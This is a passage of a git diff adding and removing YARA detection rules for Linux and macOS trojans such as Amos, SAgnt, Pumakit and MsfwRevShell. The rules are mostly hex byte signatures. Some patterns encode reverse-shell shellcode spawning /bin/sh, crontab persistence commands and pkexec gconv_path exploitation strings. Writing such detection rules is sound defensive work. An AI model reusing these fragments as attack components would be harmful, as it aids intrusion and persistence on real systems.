c1 e3 20 48 09 d8 50 48 89 e7 48 31 f6 48 89 f2 6a 3b } //1 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_NF_.yar b/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_NF_.yar new file mode 100644 index 0000000000..34d4dd1bd8 --- /dev/null +++ b/Trojan/Linux/MsfwRevShell/Trojan_Linux_MsfwRevShell_NF_.yar @@ -0,0 +1,11 @@ + +rule Trojan_Linux_MsfwRevShell_NF_{ + meta: + description = "Trojan:Linux/MsfwRevShell.NF!!MsfwRevShell.gen!NF,SIGNATURE_TYPE_ARHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {6a 03 5e 6a 21 58 ff ce 0f 05 e0 ?? 6a 3b 58 99 48 bb 2f 62 69 6e 2f 73 68 00 53 54 5f 0f 05 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Linux/Pkexec/Trojan_Linux_Pkexec_A.yar b/Trojan/Linux/Pkexec/Trojan_Linux_Pkexec_A.yar deleted file mode 100644 index ecaf2bb9bd..0000000000 --- a/Trojan/Linux/Pkexec/Trojan_Linux_Pkexec_A.yar +++ /dev/null @@ -1,14 +0,0 @@ - -rule Trojan_Linux_Pkexec_A{ - meta: - description = "Trojan:Linux/Pkexec.A,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 04 00 00 " - - strings : - $a_00_0 = {67 00 63 00 6f 00 6e 00 76 00 5f 00 70 00 61 00 74 00 68 00 3d 00 } //10 gconv_path= - $a_00_1 = {64 00 67 00 63 00 6f 00 6e 00 76 00 5f 00 70 00 61 00 74 00 68 00 3d 00 } //-10 dgconv_path= - $a_00_2 = {64 00 61 00 74 00 61 00 2f 00 79 00 6f 00 63 00 74 00 6f 00 2f 00 6b 00 65 00 79 00 2d 00 63 00 6f 00 6d 00 73 00 2d 00 61 00 70 00 70 00 73 00 } //-10 data/yocto/key-coms-apps - $a_00_3 = {6b 00 69 00 72 00 6b 00 73 00 74 00 6f 00 6e 00 65 00 2d 00 62 00 73 00 70 00 2f 00 62 00 75 00 69 00 6c 00 64 00 5f 00 6d 00 67 00 65 00 61 00 } //-10 kirkstone-bsp/build_mgea - condition: - ((#a_00_0 & 1)*10+(#a_00_1 & 1)*-10+(#a_00_2 & 1)*-10+(#a_00_3 & 1)*-10) >=10 - -} \ No newline at end of file diff --git a/Trojan/Linux/Pumakit/Trojan_Linux_Pumakit_B_MTB.yar b/Trojan/Linux/Pumakit/Trojan_Linux_Pumakit_B_MTB.yar new file mode 100644 index 0000000000..a206fae943 --- /dev/null +++ b/Trojan/Linux/Pumakit/Trojan_Linux_Pumakit_B_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Linux_Pumakit_B_MTB{ + meta: + description = "Trojan:Linux/Pumakit.B!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {83 38 02 75 26 31 ff e8 f2 47 02 00 48 89 df be 41 00 00 00 ba ed 01 00 00 31 c0 e8 a8 e1 01 00 85 c0 78 07 89 c7 } //1 + $a_01_1 = {48 89 d9 41 89 c0 31 c0 e8 06 52 02 00 48 89 df e8 8b e1 01 00 bf 54 00 00 00 4c 89 f6 31 c0 e8 08 ff 01 00 85 c0 0f 85 fb 22 00 00 48 8d 3d ee 14 03 00 31 f6 31 c0 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_AC_MTB.yar b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_AC_MTB.yar new file mode 100644 index 0000000000..f7d4b6433c --- /dev/null +++ b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_AC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Linux_SAgnt_AC_MTB{ + meta: + description = "Trojan:Linux/SAgnt.AC!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {01 00 3f 89 01 00 ff 38 00 00 09 2c 14 01 82 40 78 53 43 7d 45 8d 00 48 00 00 00 60 e8 00 61 e8 f1 fe ff 4b 00 00 00 60 78 00 41 e9 80 00 21 e9 00 48 2a 7c 20 00 82 40 88 00 41 e9 90 00 21 e9 00 48 2a 7c 10 00 82 40 d8 00 21 e9 00 00 29 2c } //1 + $a_01_1 = {b4 07 fb 7f d2 c1 7b 7f 10 00 5b 39 40 48 2a 7c cc 04 81 40 f9 ff 5c 39 00 00 80 3a 1f 00 0a 28 54 00 81 41 b4 07 4a 7d 14 52 5d 7d 50 03 0a 89 70 03 2a 89 00 00 08 2c 3e 06 34 55 3e 06 27 55 63 00 94 22 e0 0f 94 7a 2c 00 82 41 00 00 00 60 00 89 c2 88 50 30 08 7d 09 00 08 2c 18 00 81 41 62 00 07 28 01 00 29 39 08 00 81 40 96 ff 20 39 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_AD_MTB.yar b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_AD_MTB.yar new file mode 100644 index 0000000000..e19411153d --- /dev/null +++ b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_AD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Linux_SAgnt_AD_MTB{ + meta: + description = "Trojan:Linux/SAgnt.AD!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {68 8f f2 ff 14 e8 82 0b fe ff 49 8b 41 08 49 8b 11 49 81 e9 08 00 00 00 48 0f ab dd 66 d3 d5 48 f7 e2 48 0f b7 ee 49 0f bf ec 49 89 51 08 41 0f b7 ee 66 f7 d5 49 0f b7 eb 49 89 41 10 9c 40 86 ed 66 d1 cd 41 8f 01 40 d2 cd 49 0b eb 49 81 eb 04 00 00 00 41 02 ec f5 40 d2 ed 41 8b 2b 41 3b dc f5 f9 33 ee 81 c5 1c 68 f3 3c f9 f8 d1 cd 66 f7 c3 2b 7e 0f cd 80 fa 1d f7 dd f8 } //1 + $a_01_1 = {56 44 31 14 24 66 44 85 cb 66 41 0f b6 f1 f8 5e 4d 63 d2 f9 f5 e9 db 46 fd ff 81 f2 36 43 32 1c 41 51 41 f6 c7 4d 31 14 24 41 59 48 63 d2 45 3a e6 f9 4c 03 d2 e9 96 c6 00 00 f7 d1 e9 1c 7a 00 00 49 0f ba e0 39 31 0c 24 41 80 c0 51 49 c1 d8 89 44 1a c6 41 58 f6 c7 71 48 63 c9 45 3a e4 4c 03 d1 e9 60 fc 32 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_U_MTB.yar b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_U_MTB.yar new file mode 100644 index 0000000000..6da9c2e05e --- /dev/null +++ b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_U_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Linux_SAgnt_U_MTB{ + meta: + description = "Trojan:Linux/SAgnt.U!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {31 d2 45 85 ed 41 51 49 89 d8 6a 00 0f 95 c2 4c 89 e1 45 31 c9 48 c1 e2 07 48 89 ee bf ca 00 00 00 e8 41 b5 ff ff 41 5a 41 5b 83 f8 da 75 1e 56 49 89 d8 bf ca 00 00 00 45 31 c9 6a 00 4c 89 e1 31 d2 48 89 ee } //1 + $a_01_1 = {4c 89 ff 4c 89 e1 48 8d 15 10 e5 00 00 31 c0 be 80 10 00 00 e8 e2 5f 00 00 4c 89 ff e8 0c 52 00 00 4c 89 f2 4c 89 ee 4c 89 e7 e8 8c 50 00 00 e9 2d ff ff ff 66 0f 1f 84 00 00 00 00 00 4c 89 e6 4c 89 ff e8 a5 8c 00 00 48 85 c0 0f 85 ac 00 00 00 31 d2 be 80 10 00 00 4c 89 ff e8 b8 58 00 00 48 85 c0 75 d8 31 ff } //1 + $a_01_2 = {41 0f b6 4f 01 b8 00 03 00 00 41 02 0f d3 e0 49 8b 77 08 8d 88 c0 07 00 00 48 85 c9 0f 84 a5 00 00 00 48 8d 41 ff 48 83 f8 06 0f 86 fd 02 00 00 48 89 ca 66 0f 6f 05 c5 b3 00 00 48 89 f0 48 c1 ea 03 48 c1 e2 04 48 01 f2 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_V_MTB.yar b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_V_MTB.yar new file mode 100644 index 0000000000..795964598f --- /dev/null +++ b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_V_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Linux_SAgnt_V_MTB{ + meta: + description = "Trojan:Linux/SAgnt.V!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 00 " + + strings : + $a_01_0 = {48 31 ed 48 89 e7 48 8d 35 2a 46 27 00 48 83 e4 f0 e8 00 00 00 00 48 81 ec 90 01 00 00 8b 07 49 89 f8 48 89 f1 ff c0 48 98 } //1 + $a_01_1 = {44 89 fa 31 c0 48 89 54 24 08 e8 9f 4e 06 00 44 89 ff 48 89 04 24 e8 6e d9 06 00 31 c0 e8 8c 4e 06 00 48 8b 0c 24 48 8b 54 24 08 48 29 c8 78 78 66 0f ef c0 f2 48 0f 2a c0 } //1 + $a_01_2 = {4c 8d 25 96 03 00 00 4c 89 e7 e8 ce 50 06 00 4c 89 e7 48 8d 74 24 18 e8 f1 50 06 00 41 89 c4 85 c0 75 a1 48 83 7c 24 18 00 0f 84 06 01 00 00 80 3d 4f 49 27 00 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_W_MTB.yar b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_W_MTB.yar new file mode 100644 index 0000000000..39c46ed9b7 --- /dev/null +++ b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_W_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Linux_SAgnt_W_MTB{ + meta: + description = "Trojan:Linux/SAgnt.W!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {8b 44 24 50 8b 74 24 10 c7 44 24 0c 00 00 00 00 89 30 31 f6 89 58 04 8b 44 24 0c 89 f2 83 c4 2c 5b 5e 5f 5d c3 0f bd f7 83 f6 1f } //1 + $a_01_1 = {53 89 c3 83 ec 08 8b 40 4c 85 c0 78 0c 83 ec 0c 53 e8 fe e9 ff ff 83 c4 10 8b 43 1c 39 43 14 74 0c 51 6a 00 6a 00 53 ff 53 24 83 c4 10 8b 43 04 8b 53 08 39 d0 } //1 + $a_01_2 = {0f b6 47 0c ba 27 00 00 00 89 c1 83 e1 0f 0f a3 ca 73 75 c0 e8 04 b9 06 04 00 00 0f a3 c1 73 68 66 83 7f 0e 00 74 61 8b 07 83 ec 08 01 e8 50 ff 74 24 50 8b 5c 24 28 e8 84 9c ff ff 83 c4 10 85 c0 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_X_MTB.yar b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_X_MTB.yar new file mode 100644 index 0000000000..37604fcd20 --- /dev/null +++ b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_X_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Linux_SAgnt_X_MTB{ + meta: + description = "Trojan:Linux/SAgnt.X!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {81 1d 8d e2 30 10 81 e2 01 2a a0 e3 05 00 a0 e1 8d 26 00 eb 81 1d 8d e2 30 10 81 e2 00 20 50 e2 04 00 a0 e1 f4 ff ff ca 05 00 a0 e1 35 26 00 eb 04 00 a0 e1 33 26 00 eb 08 10 8d e2 70 00 8d e2 73 15 00 eb 01 00 70 e3 75 ff ff 0a 41 0d 8d e2 18 10 9d e5 30 00 80 e2 63 15 00 eb 01 00 70 e3 } //1 + $a_01_1 = {00 20 93 e5 01 00 52 e3 f9 ff ff 1a 08 c0 93 e5 14 20 93 e5 0c 00 50 e1 02 20 8c e0 0c 00 a0 21 20 30 83 e2 02 00 51 e1 02 10 a0 31 0e 00 53 e1 f2 ff ff 3a ff 3e 81 e2 0f 30 83 e2 ff 3e c3 e3 ff 6e c0 e3 0f 30 c3 e3 0f 60 c6 e3 03 60 66 e0 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_Y_MTB.yar b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_Y_MTB.yar new file mode 100644 index 0000000000..962886408b --- /dev/null +++ b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_Y_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Linux_SAgnt_Y_MTB{ + meta: + description = "Trojan:Linux/SAgnt.Y!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 00 " + + strings : + $a_01_0 = {e0 03 00 90 00 e8 47 f9 26 94 01 94 e0 03 00 90 00 e8 47 f9 e1 a3 01 91 32 94 01 94 c0 fc ff 35 e0 37 40 f9 20 05 00 b4 03 03 00 91 60 60 40 39 } //1 + $a_01_1 = {fd 7b b9 a9 fd 03 00 91 f3 53 01 a9 f7 63 03 a9 f8 03 00 b0 13 03 00 91 f7 03 00 2a f5 5b 02 a9 f6 03 02 aa 60 12 40 b9 f5 03 01 aa a1 a7 01 94 e1 03 00 2a 60 06 40 b9 61 12 00 b9 9d a7 01 94 } //1 + $a_01_2 = {fd 7b be a9 fd 03 00 91 f3 0b 00 f9 f3 03 00 b0 60 c2 4e 39 40 01 00 37 de ff ff 97 e0 03 00 90 00 c8 47 f9 80 00 00 b4 c0 03 00 f0 00 c0 1d 91 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_Z_MTB.yar b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_Z_MTB.yar new file mode 100644 index 0000000000..37498571aa --- /dev/null +++ b/Trojan/Linux/SAgnt/Trojan_Linux_SAgnt_Z_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Linux_SAgnt_Z_MTB{ + meta: + description = "Trojan:Linux/SAgnt.Z!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {3b a3 00 14 39 00 00 00 38 e0 ff ff 38 c0 00 22 38 a0 00 03 7f a4 eb 78 38 60 00 00 48 00 03 45 60 00 00 00 2c 23 ff ff 7c 7e 1b 78 41 82 ff c8 4b ff f3 29 4b ff f3 79 4b ff f4 31 7c 7f 1b 79 40 82 00 28 60 00 00 00 38 62 89 10 48 00 61 d1 60 00 00 00 7f a4 eb 78 7f c3 f3 78 48 00 04 65 } //1 + $a_01_1 = {3b c0 00 02 39 00 00 00 38 e0 ff ff e9 22 85 a0 38 c0 00 22 38 a0 00 00 38 60 00 00 7f de 48 36 7c 9f f1 d2 48 00 0c 29 60 00 00 00 2c 23 ff ff 41 82 fe d8 60 00 00 00 7c 63 fa 14 3b de ff ff f8 62 85 b8 7b e9 a3 02 7f de 49 d2 60 00 00 00 fb c2 85 98 e9 22 85 a0 39 29 00 01 f9 22 85 a0 } //1 + $a_01_2 = {39 03 00 01 55 0a f8 7e 55 09 f0 be 7d 29 53 78 55 2a f0 be 7d 29 53 78 55 2a e1 3e 7d 29 53 78 55 2a c2 3e 7d 29 53 78 55 2a 84 3e 7d 29 53 78 39 49 00 01 7d 49 48 78 3d 40 07 6b 61 4a e6 29 7d 29 51 d6 3d 42 ff fe 39 4a a3 18 79 29 2e e2 7c 6a 48 ae 3d 42 ff fe 39 4a a2 b8 38 63 ff ff 54 63 10 3a 39 23 00 01 7d 29 07 b4 79 29 0f a4 7d 2a 4a 2e 7c 29 40 40 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Linux/SuspiciousCron/Trojan_Linux_SuspiciousCron_A.yar b/Trojan/Linux/SuspiciousCron/Trojan_Linux_SuspiciousCron_A.yar new file mode 100644 index 0000000000..5f12c08026 --- /dev/null +++ b/Trojan/Linux/SuspiciousCron/Trojan_Linux_SuspiciousCron_A.yar @@ -0,0 +1,13 @@ + +rule Trojan_Linux_SuspiciousCron_A{ + meta: + description = "Trojan:Linux/SuspiciousCron.A,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_00_0 = {63 00 72 00 6f 00 6e 00 74 00 61 00 62 00 20 00 2d 00 6c 00 } //2 crontab -l + $a_00_1 = {65 00 63 00 68 00 6f 00 20 00 2a 00 2f 00 31 00 20 00 2a 00 20 00 2a 00 20 00 2a 00 20 00 2a 00 20 00 } //2 echo */1 * * * * + $a_00_2 = {63 00 72 00 6f 00 6e 00 74 00 61 00 62 00 20 00 2d 00 } //2 crontab - + condition: + ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/Linux/Sysrv/Trojan_Linux_Sysrv_GA.yar b/Trojan/Linux/Sysrv/Trojan_Linux_Sysrv_GA.yar deleted file mode 100644 index 67af7fe316..0000000000 --- a/Trojan/Linux/Sysrv/Trojan_Linux_Sysrv_GA.yar +++ /dev/null @@ -1,14 +0,0 @@ - -rule Trojan_Linux_Sysrv_GA{ - meta: - description = "Trojan:Linux/Sysrv.GA,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 04 00 00 " - - strings : - $a_80_0 = {65 78 70 2e 41 74 74 61 63 6b } //exp.Attack 1 - $a_80_1 = {2f 65 78 70 2e 67 6f } ///exp.go 1 - $a_80_2 = {2f 6d 61 74 68 2f 72 61 6e 64 2f 65 78 70 2e 67 6f } ///math/rand/exp.go -1 - $a_80_3 = {2f 7a 6d 61 70 2f } ///zmap/ 1 - condition: - ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*-1+(#a_80_3 & 1)*1) >=2 - -} \ No newline at end of file diff --git a/Trojan/Linux/VShell/Trojan_Linux_VShell_B_MTB.yar b/Trojan/Linux/VShell/Trojan_Linux_VShell_B_MTB.yar new file mode 100644 index 0000000000..cfbd35f70b --- /dev/null +++ b/Trojan/Linux/VShell/Trojan_Linux_VShell_B_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Linux_VShell_B_MTB{ + meta: + description = "Trojan:Linux/VShell.B!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {83 ff 1b 75 f6 b8 00 00 00 00 b9 01 00 00 00 4c 8d 1d 06 34 78 00 f0 41 0f b1 0b 75 de 48 8b 0d 6c 17 75 00 4c 8d 05 75 41 78 00 4c 8d 0d 0e fa ff ff 48 8b 05 f7 1b 75 00 ff e0 } //1 + $a_01_1 = {48 85 c0 74 24 48 8b 38 48 8b 70 08 31 c0 48 8d 1d d4 f7 44 00 b9 0f 00 00 00 e8 ea 7b fe ff 48 83 c4 28 5d c3 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DI_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DI_MTB.yar new file mode 100644 index 0000000000..1505bc240c --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DI_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_DI_MTB{ + meta: + description = "Trojan:MacOS/Amos.DI!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {41 0f b6 37 40 f6 c6 01 74 06 49 8b 7f 08 eb 04 89 f7 d1 ef 48 39 f9 73 19 48 89 c7 40 f6 c6 01 74 04 49 8b 7f 10 } //1 + $a_01_1 = {55 48 89 e5 48 89 f8 0f b6 0f f6 c1 01 75 07 48 ff c0 d1 e9 eb 08 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DJ_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DJ_MTB.yar new file mode 100644 index 0000000000..d76ab7455c --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DJ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_DJ_MTB{ + meta: + description = "Trojan:MacOS/Amos.DJ!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {55 48 89 e5 48 83 ec 20 48 89 7d f8 48 89 75 f0 48 8b 7d f8 48 89 7d e0 48 8b 45 f0 48 89 45 e8 e8 ab 7f 52 00 48 89 c1 48 8b 45 e8 48 39 c8 0f 83 05 00 00 00 e9 05 00 00 00 } //1 + $a_01_1 = {55 48 89 e5 48 83 ec 10 48 89 7d f8 48 8b 7d f8 e8 8b 95 52 00 48 83 c4 10 5d c3 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DK_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DK_MTB.yar new file mode 100644 index 0000000000..a3a3a91c19 --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_DK_MTB{ + meta: + description = "Trojan:MacOS/Amos.DK!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {0f 1f 40 00 55 48 89 e5 53 50 e8 43 04 00 00 85 c0 75 07 48 83 c4 08 5b 5d c3 89 c7 89 c3 e8 e1 f9 ff ff 48 8d 35 9a 19 00 00 48 8d 15 29 1c 00 00 31 ff 48 89 c1 41 89 d8 31 c0 e8 d4 f5 ff ff } //1 + $a_01_1 = {89 c7 89 c3 e8 b1 fa ff ff 48 8d 35 6a 1a 00 00 48 8d 15 b8 1c 00 00 31 ff 48 89 c1 41 89 d8 31 c0 e8 a4 f6 ff ff 0f 1f 40 00 55 48 89 e5 53 50 e8 cd 04 00 00 a9 ef ff ff ff 75 0c 85 c0 0f 94 c0 48 83 c4 08 5b 5d c3 89 c7 89 c3 e8 69 fa ff ff 48 8d 35 22 1a 00 00 48 8d 15 8f 1c 00 00 31 ff 48 89 c1 41 89 d8 31 c0 e8 5c f6 ff ff } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DL_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DL_MTB.yar new file mode 100644 index 0000000000..fe6108c977 --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_DL_MTB{ + meta: + description = "Trojan:MacOS/Amos.DL!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {48 8b 7d b0 8b 45 a0 89 45 c8 8b 45 cc c1 e0 04 8b 4d c8 09 c8 88 45 c7 0f be 75 c7 e8 5f a9 52 00 e9 00 00 00 00 } //1 + $a_01_1 = {55 48 89 e5 48 83 ec 20 48 89 7d f0 48 8b 7d f0 48 89 7d e0 e8 97 7e 52 00 48 8b 7d e0 48 89 c6 e8 4b 80 52 00 48 89 45 e8 e9 00 00 00 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DM_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DM_MTB.yar new file mode 100644 index 0000000000..5fca9c1227 --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_DM_MTB{ + meta: + description = "Trojan:MacOS/Amos.DM!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {55 48 89 e5 48 83 ec 10 48 89 7d f8 48 8b 7d f8 e8 cb 2d 76 00 48 83 c4 10 5d c3 } //1 + $a_01_1 = {48 8d bd a8 bb ff ff e8 40 2c 32 00 88 85 fc e4 fe ff eb 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DO_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DO_MTB.yar new file mode 100644 index 0000000000..ffaad16daf --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DO_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_DO_MTB{ + meta: + description = "Trojan:MacOS/Amos.DO!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {55 48 89 e5 48 83 ec 20 48 89 7d f8 48 8b 7d f8 48 89 7d f0 e8 b7 79 94 00 a8 01 0f 85 05 00 00 00 e9 12 00 00 00 } //1 + $a_01_1 = {48 8b 7d d8 e8 f8 79 94 00 48 03 45 e8 48 89 45 f8 48 8b 45 f8 48 83 c4 30 5d c3 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DP_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DP_MTB.yar new file mode 100644 index 0000000000..e611ff9103 --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DP_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_DP_MTB{ + meta: + description = "Trojan:MacOS/Amos.DP!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {4c 89 f0 48 83 e0 f8 48 83 c0 08 4d 89 f4 49 83 cc 07 49 83 fc 17 4c 0f 44 e0 49 ff c4 4c 89 e7 e8 c9 00 00 00 48 89 43 10 49 83 cc 01 4c 89 23 4c 89 73 08 48 89 c3 48 89 df 4c 89 fe 4c 89 f2 } //1 + $a_01_1 = {55 48 89 e5 41 57 41 56 41 54 53 49 89 f7 48 89 fb 48 89 f7 e8 3d 01 00 00 48 83 f8 f8 73 6c 49 89 c6 48 83 f8 17 73 10 43 8d 04 36 88 03 48 ff c3 4d 85 f6 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DQ_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DQ_MTB.yar new file mode 100644 index 0000000000..cee92eb7f0 --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_DQ_MTB{ + meta: + description = "Trojan:MacOS/Amos.DQ!MTB,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {55 48 89 e5 48 83 ec 20 48 89 7d f8 48 89 75 f0 48 8b 7d f8 48 89 7d e0 48 8b 45 f0 48 89 45 e8 e8 ab 2b 76 00 48 89 c1 48 8b 45 e8 48 39 c8 73 02 eb 05 } //1 + $a_01_1 = {31 c0 89 c6 48 8d 7d a8 ba 10 00 00 00 e8 b2 41 76 00 48 89 85 60 ff ff ff eb 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DR_MTB.yar b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DR_MTB.yar new file mode 100644 index 0000000000..36d08b1513 --- /dev/null +++ b/Trojan/MacOS/Amos/Trojan_MacOS_Amos_DR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_MacOS_Amos_DR_MTB{ + meta: + description = 